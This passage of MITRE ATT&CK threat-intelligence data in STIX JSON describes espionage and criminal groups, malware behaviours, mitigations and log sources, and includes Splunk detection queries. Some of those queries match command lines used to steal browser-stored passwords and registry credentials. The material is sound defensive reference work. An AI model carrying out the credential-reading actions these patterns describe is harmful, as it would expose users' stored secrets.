            "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group focused on espionage that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics.(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)(Citation: Talos Promethium June 2020)",
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                    "source_name": "PROMETHIUM",
                    "description": "(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)"
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                {
                    "source_name": "Microsoft SIR Vol 21",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
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                    "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"
                },
                {
                    "source_name": "Microsoft NEODYMIUM Dec 2016",
                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
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                    "source_name": "StrongPity",
                    "description": "The name StrongPity has also been used to describe the group and the malware used by the group.(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)"
                },
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                    "source_name": "Bitdefender StrongPity June 2020",
                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"
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                    "description": "(Citation: Securelist GCMAN)"
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                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.",
                    "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
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            "description": "[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)",
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                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved November 17, 2024.",
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                    "source_name": "Securelist BlackOasis Oct 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.",
                    "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"
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                    "source_name": "Securelist APT Trends Q2 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.",
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                    "source_name": "CyberScoop BlackOasis Oct 2017",
                    "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.",
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            "name": "BlackOasis",
            "description": "[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)",
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                    "description": "Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021.",
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                    "description": "Renals, P., Conant, S. (2016). SILVERTERRIER: The Next Evolution in Nigerian Cybercrime. Retrieved November 13, 2018.",
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                    "description": "ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog) (Citation: Kaspersky ProjectSauron Full Report)"
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                    "source_name": "Symantec Strider Blog",
                    "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.",
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            "description": "[C0033](https://attack.mitre.org/campaigns/C0033) was a [PROMETHIUM](https://attack.mitre.org/groups/G0056) campaign during which they used [StrongPity](https://attack.mitre.org/software/S0491) to target Android users. [C0033](https://attack.mitre.org/campaigns/C0033) was the first publicly documented mobile campaign for [PROMETHIUM](https://attack.mitre.org/groups/G0056), who previously used Windows-based techniques.(Citation: welivesec_strongpity)",
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                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
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                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
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            "description": "\"Container Enumeration\" data component captures events and actions related to listing and identifying active or available containers within a containerized environment. This includes information about running, stopped, or configured containers, such as their names, IDs, statuses, or associated images. Monitoring this activity is crucial for detecting unauthorized discovery or reconnaissance efforts. Examples: \n\n- Docker Example: `docker ps`, `docker ps -a`\n- Kubernetes Example: `kubectl get pods`, `kubectl get deployments`\n- Cloud Container Services Example\n    - AWS ECS: API Call: ListTasks or ListContainers\n    - Azure Kubernetes Service: API Call: List pod or container instances.\n    - Google Kubernetes Engine (GKE): API Call: Retrieve deployments and their associated containers.\n\nThis data component can be collected through the following measures:\n\n- Docker Audit Logging: Enable Docker daemon logging to capture enumeration commands. Use tools like auditd to monitor terminal activity involving docker ps or similar commands.\n- Kubernetes Audit Logs: Enable Kubernetes API server audit logging. Capture events where users query resources such as pods, deployments, or services.\n- Cloud Provider Logs\n    - AWS CloudTrail: Enable logging for API calls like ListTasks or DescribeTasks.\n    - Azure Monitor: Enable activity logging to track container-related queries.\n    - GCP Cloud Logging: Track API events involving container enumerations or deployments.\n- SIEM Integration: Collect logs from Docker, Kubernetes, and cloud services for centralized analysis.",
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            "name": "Firewall Enumeration",
            "description": "Querying and extracting a list of available firewalls or their associated configurations and rules. This activity can occur across host systems and cloud control planes, providing insight into the state and configuration of firewalls that protect the environment. Examples: \n\n- Querying Host-Based Firewalls: Using Windows PowerShell commands like `Get-NetFirewallRule` or Linux commands such as `iptables -L` or `firewalld --list-all`.\n- Cloud Firewall Rule Listing: Running commands like `az network firewall list` for Azure or `aws ec2 describe-security-groups` for AWS.\n- Using Management APIs: Leveraging APIs like Google Cloud Firewall's `list` API method or AWS's DescribeSecurityGroups API.\nIdentifying Misconfigurations: Extracting firewall rules to identify \u201callow all\u201d policies or rules that lack logging.\n- Enumerating with CLI Tools: Using CLI commands like `gcloud compute firewall-rules list` to extract firewall settings in Google Cloud.\n\nThis data component can be collected through the following measures:\n\nCloud Control Plane\n\n- Azure Activity Logs:Collect logs from Azure Firewall to monitor rule listing commands. Enable logging for `az network firewall` commands.\n- AWS CloudTrail: Monitor calls to `DescribeSecurityGroups` or `DescribeNetworkAcls` APIs.\nGoogle Cloud Operations Suite: Collect logs for `gcloud compute firewall-rules list` or API calls to `firewalls.list`.\n\nHost-Based Firewalls\n\n- Windows Event Logs: Use PowerShell transcription logs to capture commands like `Get-NetFirewallRule`.\n- Linux Auditd: Track executions of commands like `iptables -L` or `ufw status` using auditd: `auditctl -a always,exit -F arch=b64 -S execve -k firewall_enum`\n- macOS: Monitor logs for firewall-related queries via the Console app or log monitoring tools.\n\nSIEM Integration\n\n- Collect logs from endpoints and cloud platforms to centralize data and detect enumeration activity.\n\nEndpoint Detection and Response (EDR)\n\n- Use EDR tools to track enumeration commands or API calls performed on managed devices.\n\nCSPM Tools\n\n- Deploy Cloud Security Posture Management tools to monitor for unauthorized enumeration of firewall rules or configurations.",
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            "name": "Snapshot Enumeration",
            "description": "The process of listing or retrieving metadata about existing snapshots in a cloud environment.\n\n*Data Collection Measures:*\n\n- AWS CloudTrail\n    - Logs API calls such as `DescribeSnapshots`, `ListSnapshots`, and `GetSnapshotAttributes`.\n- Azure Monitor Logs\n    - Tracks snapshot enumeration via `Microsoft.Compute/snapshots/read`.\n- Google Cloud Logging\n    - Detects snapshot listing through `compute.disks.listSnapshots`.\n",
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            "description": "The removal of a cloud-based or on-premise block storage volume. This action permanently deletes the allocated storage and may result in data loss if not backed up.\n\n*Data Collection Measures:*\n\n- Cloud Logging & APIs\n    - AWS CloudTrail Logs\n        - `eventName: DeleteVolume` (tracks volume deletions)\n    - Azure Monitor Logs\n        - `operationName: Microsoft.Compute/disks/delete`\n        - `status: Success | Failure` (flag unauthorized delete attempts)\n    - Google Cloud Audit Logs\n        - `protoPayload.methodName: \"v1.compute.disks.delete\"`\n        - `authenticationInfo.principalEmail` (identifies the user deleting the volume)\n- System & Host-Based Logging\n    - Linux & macOS Logs:\n        - `/var/log/syslog` or `/var/log/messages` for volume detach/deletion actions\n    - Windows Event Logs:\n        - Event ID 98 (Storage Class Memory)\n        - Event ID 225 (Volume Removal Detected)\n        - Event ID 12 (Disk Removal Notification)",
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            "description": "Changes made to a pod\u2019s configuration or control data within a containerized cluster. This can include updating settings such as resource limits, environment variables, annotations, labels, or even the containers running within the pod. Pod modifications are often executed using commands like kubectl set, kubectl patch, or kubectl edit.\n\n*Data Collection Measures:* \n\n- Kubernetes API Server Audit Logs:\n    - Capture all API calls related to pod modification, such as PATCH, PUT, or UPDATE methods on v1/pods.\n- Runtime Security Tools:\n    - Tools like Falco, Sysdig, and Kube-bench can monitor pod modifications at runtime and alert on policy violations.\n- Container Orchestration Logs:\n    - Monitor events logged by Kubernetes itself (e.g., `kubectl logs -n kube-system kube-controller-manager`).\n- SIEM and EDR Solutions:\n    - Use SIEM platforms (e.g., Splunk) to aggregate API server logs and detect patterns of unauthorized or suspicious pod modifications.\n    - Endpoint Detection and Response (EDR) tools configured with container visibility can monitor commands like `kubectl` set or `kubectl patch`.\n- Host-Based Monitoring:\n    - Collect and analyze logs for processes executing `kubectl` commands or interacting with Kubernetes configuration files (e.g., `.kube/config`).",
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            "name": "APT-C-23",
            "description": "[APT-C-23](https://attack.mitre.org/groups/G1028) is a threat group that has been active since at least 2014.(Citation: symantec_mantis) [APT-C-23](https://attack.mitre.org/groups/G1028) has primarily focused its operations on the Middle East, including Israeli military assets. [APT-C-23](https://attack.mitre.org/groups/G1028) has developed mobile spyware targeting Android and iOS devices since 2017.(Citation: welivesecurity_apt-c-23)",
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                "Mantis",
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                    "description": "Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.",
                    "url": "https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"
                },
                {
                    "source_name": "SentinelOne Cuckoo Stealer May 2024",
                    "description": "Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.",
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                    "description": "Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.",
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                    "description": "Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.",
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                    "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"
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            ],
            "modified": "2025-04-16T21:53:31.681Z",
            "description": "During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) created VBScripts to run on an SSH server.(Citation: Dragos Crashoverride 2018)",
            "relationship_type": "uses",
            "source_ref": "campaign--aa73efef-1418-4dbe-b43c-87a498e97234",
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        },
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            "spec_version": "2.1",
            "id": "relationship--029f82d6-72d9-43ac-a480-ae5169d20135",
            "created": "2024-08-08T20:20:50.318Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Mandiant ROADSWEEP August 2022",
                    "description": "Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"
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            "modified": "2025-04-16T21:53:31.873Z",
            "description": "[ZeroCleare](https://attack.mitre.org/software/S1151) can use the `IOCTL_DISK_GET_DRIVE_GEOMETRY_EX`, `IOCTL_DISK_GET_DRIVE_GEOMETRY`, and `IOCTL_DISK_GET_LENGTH_INFO` system calls to compute disk size.(Citation: Mandiant ROADSWEEP August 2022)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "id": "relationship--02a05d88-504c-4b79-bc55-1174b02e62c2",
            "created": "2022-09-27T16:42:11.965Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "FoxIT Wocao December 2019",
                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
                    "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"
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            "modified": "2025-04-16T21:53:32.056Z",
            "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used ProcDump to dump credentials from memory.(Citation: FoxIT Wocao December 2019)",
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            "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff",
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            "description": "Monitor for newly constructed registry keys upon creation of new task. Deletion of values/keys in the registry may further indicate malicious activity.\n\nAnalytic 1 - Suspicious Creations under Schedule Registry Key\n\n<code>((source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"12\") OR (sourcetype=WinEventLog:Security EventCode=4657) | search (registry_path=\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tree\\\\*\" OR registry_path=\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tasks\\\\*\")</code>\n\n",
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            "source_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129",
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                    "description": "Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"
                },
                {
                    "source_name": "Proofpoint Bumblebee April 2022",
                    "description": "Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"
                },
                {
                    "source_name": "Google EXOTIC LILY March 2022",
                    "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.",
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            "modified": "2025-04-16T21:53:32.682Z",
            "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can enumerate the OS version and domain on a targeted system.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)",
            "relationship_type": "uses",
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                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
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                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
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            "description": "[Pisloader](https://attack.mitre.org/software/S0124) establishes persistence via a Registry Run key.(Citation: Palo Alto DNS Requests)",
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            "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to use pass the ticket with Kerberos for authentication.(Citation: Symantec Seaduke 2015)",
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                    "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 17, 2024.",
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            "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) has been distributed via spearphishing emails with malicious attachments.(Citation: MalwareBytes LazyScripter Feb 2021)",
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                    "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/"
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                    "source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/"
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            ],
            "modified": "2025-04-16T21:54:07.111Z",
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can use system resources to mine cryptocurrency, dropping XMRig to mine Monero.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--0498c31a-6bf0-4d53-83bb-0f3b1be4e238",
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            "revoked": false,
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            ],
            "modified": "2025-04-16T21:54:07.334Z",
            "description": "Block the use of IP-based KVM devices within the network if they are not required. ",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264",
            "target_ref": "attack-pattern--a9fb6b3f-4a3c-4703-a4f1-f55f83d1e017",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--049ce77e-19b0-4641-8e49-8504ab47921e",
            "created": "2020-01-24T19:00:33.125Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-04-28T15:32:32.414Z",
            "relationship_type": "subtechnique-of",
            "source_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--049d2b7e-fb1e-4bf3-bf2f-97197e40bda2",
            "created": "2020-12-28T22:10:21.555Z",
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                    "source_name": "Cybereason Molerats Dec 2020",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.",
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            "modified": "2025-04-28T15:32:32.700Z",
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            "target_ref": "malware--8a59f456-79a0-4151-9f56-9b1a67332af2",
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            "modified": "2025-04-16T21:54:07.927Z",
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            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
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            "id": "relationship--049eebb5-0686-4891-9cf7-cbf906cacdd8",
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            "revoked": false,
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                    "source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023",
                    "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.",
                    "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"
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            "modified": "2025-04-16T21:54:08.119Z",
            "description": "[Uroburos](https://attack.mitre.org/software/S0022) has used a combination of a Diffie-Hellman key exchange mixed with a pre-shared key (PSK) to encrypt its top layer of C2 communications.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)",
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            "created": "2023-03-28T20:27:00.832Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "US-CERT HOPLIGHT Apr 2019",
                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T21:54:08.332Z",
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) can enumerate device drivers located in the registry at `HKLM\\Software\\WBEM\\WDM`.(Citation: US-CERT HOPLIGHT Apr 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369",
            "target_ref": "attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "spec_version": "2.1",
            "id": "relationship--04a55a4d-7888-4e52-8d6f-6befbc82f6f2",
            "created": "2023-10-04T14:31:53.915Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Gigamon BADHATCH Jul 2019",
                    "description": "Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.",
                    "url": "https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"
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            ],
            "modified": "2025-04-16T21:54:08.527Z",
            "description": "[BADHATCH](https://attack.mitre.org/software/S1081) can copy a large byte array of 64-bit shellcode into process memory and execute it with a call to `CreateThread`.(Citation: Gigamon BADHATCH Jul 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888",
            "target_ref": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--04a6eba6-71d7-47d1-91f1-c728ada6b7b5",
            "created": "2020-11-23T17:46:57.365Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:32:33.452Z",
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from the Windows Credential Vault.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--04ba0d26-d931-423e-a3de-713892c0af97",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Dell P2P ZeuS",
                    "description": "SecureWorks. (2012). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.",
                    "url": "https://www.secureworks.com/research/The-Lifecycle-of-Peer-to-Peer-Gameover-ZeuS"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T21:54:08.922Z",
            "description": "[P2P ZeuS](https://attack.mitre.org/software/S0016) added junk data to outgoing UDP packets to peer implants.(Citation: Dell P2P ZeuS)",
            "relationship_type": "uses",
            "source_ref": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85",
            "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--04c0ec78-0bff-4d9e-8843-00589d0584ad",
            "created": "2022-03-30T14:26:51.874Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T21:54:09.121Z",
            "description": "Monitor for unexpected windows registry key being accessed that may search compromised systems to find and obtain insecurely stored credentials.\n\nAnalytic 1 - Unauthorized access to registry keys associated with credentials.\n\n<code> index=security sourcetype=\"WinEventLog:Microsoft-Windows-Security-Auditing\" EventCode=4663 ObjectType=\"Registry\" (ObjectName=\"*password*\" OR ObjectName=\"*credential*\") | eval AccessAttempt=case(\n    AccessMask=\"0x1\", \"Read\",\n    AccessMask=\"0x2\", \"Write\",\n    AccessMask=\"0x3\", \"Read/Write\",\n    AccessMask=\"0x4\", \"Delete\",\n    true(), \"Unknown\"\n)</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b",
            "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--04c3e14a-e502-40b2-a097-e47b76a89d28",
            "created": "2022-03-30T14:26:51.840Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T21:54:09.330Z",
            "description": "Monitor executed commands and arguments that may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018)\n\nAnalytic 1 - Commands indicating credential searches in web browsers.\n\n<code> index=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\") event_type=\"process\"\n(CommandLine IN (\"*sqlite3* *logins*\", \"*CryptUnprotectData*\", \"*security find-internet-password*\", \"*sqlcipher* *logins*\", \"*strings* *Login Data*\", \"*cat* *Login Data*\", \"*cat* *logins.json*\", \"*sqlite3* *signons.sqlite*\"))</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--04d1a31c-97c2-4cdd-8fb7-391c984e2fad",
            "created": "2020-05-15T13:17:57.692Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Securelist DarkVishnya Dec 2018",
                    "description": "Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020.",
                    "url": "https://securelist.com/darkvishnya/89169/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T21:54:09.517Z",
            "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) physically connected Bash Bunny, Raspberry Pi, netbooks, and inexpensive laptops to the target organization's environment to access the company\u2019s local network.(Citation: Securelist DarkVishnya Dec 2018)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029",
            "target_ref": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
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            "id": "relationship--04d60222-e8da-4de5-bc58-dcfae65986f5",
            "created": "2019-04-17T13:46:38.848Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Cofense Astaroth Sept 2018",
                    "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.",
                    "url": "https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"
                }
            ],
